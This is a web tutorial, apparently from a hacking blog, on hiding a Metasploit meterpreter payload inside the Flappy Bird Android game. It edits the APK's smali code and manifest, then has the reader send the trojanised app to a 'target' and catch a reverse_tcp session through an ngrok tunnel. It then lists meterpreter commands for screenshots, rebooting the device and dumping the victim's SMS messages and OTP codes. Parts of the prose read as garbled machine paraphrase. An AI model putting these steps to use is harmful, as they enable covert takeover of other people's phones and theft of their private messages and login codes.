How to Bind Payload in Game and Hack Android Using Metasploit

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Introduction:

Hello there, everyone! If you've ever wondered how to connect a Metasploit payload to a game and hack Android, you've come to the right place. In this comprehensive guide, we'll walk you through the technique, step by step, to help you grasp the art of attaching payloads to Android games and exploiting them via LAN or WAN. By the end of this newsletter, you will have a firm grasp on how to obtain this interesting hack. So, let's get started!



Step #1. Prepare Your Payload
Before we go into the specifics of binding payloads, make sure you've previously constructed a payload with Metasploit. If you haven't already, check out our most recent article on how to develop a payload and hack Android devices. 



Step #2. Get Apk Editor Pro
To start the binding technique, you will want Apk Editor Pro. Download it [here](insert link). Install the app and follow these steps:



1. Open Apk Editor Pro and choose an APK out of your device's inner garage. You'll locate your payload there.

2. Click on "Full Edit (Resource-Rebuild)" and "Decode All Files." You'll now see the app's fundamental page with diverse columns.

3. Scroll down and click on on "Files." You'll locate numerous folders associated with the app's functionality.

4. Select "Smali" and allow it decompile the .Dex documents. You'll be aware a new "Smali" folder.

5. Open the "Smali" folder, click on "Com," after which on "Metasploit." Select the checkbox, click on "Extract," and create a new folder named "Payload" for your inner storage.

6. Save the Metasploit folder into the "Payload" folder.

7. Go back within the Apk Editor and select the "AndroidManifest.Xml" checkbox. Extract and save it in the "Payload" folder.



Step #3. Prepare the Game
Now, let's select a sport to bind our payload. We'll use Flappy Bird as an example. Download it [here](insert hyperlink).



1. Open Apk Editor Pro, choose the Flappy Bird game out of your internal garage, and click on "Decode All Files."

2. In the "Files" section, you may locate folders associated with the app. Click on "Smali" and watch for it to decompile. A new "Smali" folder will appear.

3. Open the "Smali" folder, click on "Com," after which at the folder icon with a "+" sign. Choose the "Import folder" option and pick out the "Payload" folder out of your inner garage.

4. Click at the "Metasploit" folder within the "Payload" folder and press "Ok."

5. Go lower back to the "Smali" folder, and navigate to "Com," "Com," "Dotgears," and "Flappy." Find "SplashScreen.Smali" and open it in the editor.

6. Locate the thirtieth line of code with "#Virtualmethods" and paste the following code beneath it:




invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V

 

7. Save the report and return to the home screen of the Flappy Bird APK in Apk Editor.



Step #4. Modify AndroidManifest.Xml
We need to inject some Android permissions into the AndroidManifest.Xml record of the game. Open it inside the editor and:



1. Copy all permissions beginning with the tag `<uses-permission android:name`.

2. Paste the copied permissions beneath the road `<uses-sdk android:` inside the XML report.

3. Save the document.



Step #5. Build the APK
With all of the modifications made, click the "Build" button in Apk Editor to generate the changed APK. This procedure might also make an effort, so be affected person.



Step #6. Send the Modified APK
Once the modified APK is prepared, send it on your goal. Have them installation and open the sport.



Step #7. Exploiting using Metasploit 
cd $HOME/metasploit-framework



./msfconsole


now open new (3rd session) and apply this command




pg_ctl -D $PREFIX/var/lib/postgresql start


After running this command, return to the (2nd session) in which you launched Metasploit and carefully apply these commands.








db_status



use exploit/multi/handler



set payload android/meterpreter/reverse_tcp



set lhost (your lhost here)



set lport (the port you provided)


Note:- write the port number you used to create the ngrok tunnel




exploit




Step #8 Gathering Hacking Details after Meterpreter Session 
Now, when you have a meterpreter session on your victim device, follow the instructions below to collect his information.

Examples:-
meterpreter> help


All of the commands for dumping data will now be included here; use them as needed. 

 


meterpreter> sysinfo


command description: Display system information




meterpreter> screenshot


command description: Take a screenshot from your victim device 




meterpreter> shutdown / reboot 


command description: Restart the victim system




meterpreter > dump_sms


command description: This command gets all our victims mobile SMS and OTP's and it will be saved in .txt formate like sms55635458842477.txt 




cd $HOME/metasploit-framework



ls


You will now have access to all of the saved.txt call logs, message and information, and so on.




cat sms55635458842477.txt


After using this command, you will be able to view all victim messages and details.


FAQs 

Q1: Why would I connect a Metasploit payload to an Android game?

A1: Connecting a Metasploit payload to an Android game lets you hack the game and the Android device, allowing for various hacking activities.

Q2: How can I get a Metasploit payload ready before attaching it to an Android game?

A2: Before attaching payloads, make sure you've created one with Metasploit. Check out a recent article on making a payload and hacking Android devices for help.

Q3: What is Apk Editor Pro, and why do I need it for the attaching technique?

A3: Apk Editor Pro is essential for attaching payloads. It helps decode APK files, extract Smali folders, and make necessary changes to the game's code.

Q4: Can you give step-by-step instructions for attaching a Metasploit payload to an Android game using Apk Editor Pro?

A4: Sure, follow the steps provided, including preparing the payload, getting Apk Editor Pro, changing the game's code, and adding permissions to the AndroidManifest.Xml file.

Q5: Which game is used as an example in the guide, and why?

A5: The guide uses Flappy Bird as an example for attaching the Metasploit payload. You can download it to practice the techniques outlined in the guide.

Q6: Why is it necessary to change the AndroidManifest.Xml file of the game?

A6: Changing the AndroidManifest.Xml file means adding important Android permissions, crucial for the successful execution of the exploited game.

Q7: How can I gather hacking details after setting up a Meterpreter session on the victim's device?

A7: Follow the given commands within the Meterpreter session, like 'sysinfo,' 'screenshot,' 'shutdown/reboot,' 'dump_sms,' and 'ls,' to collect various information from the victim's device.

Q8: What information can be obtained using the 'dump_sms' command in Meterpreter?

A8: The 'dump_sms' command retrieves all victim mobile SMS and OTPs, saving the information in .txt format for further analysis.

Q9: How do I view the saved.txt call logs, messages, and information obtained during the hacking session?

A9: After accessing the Metasploit framework, use the 'cat' command followed by the filename (e.g., 'sms55635458842477.txt') to view the collected victim messages and details.

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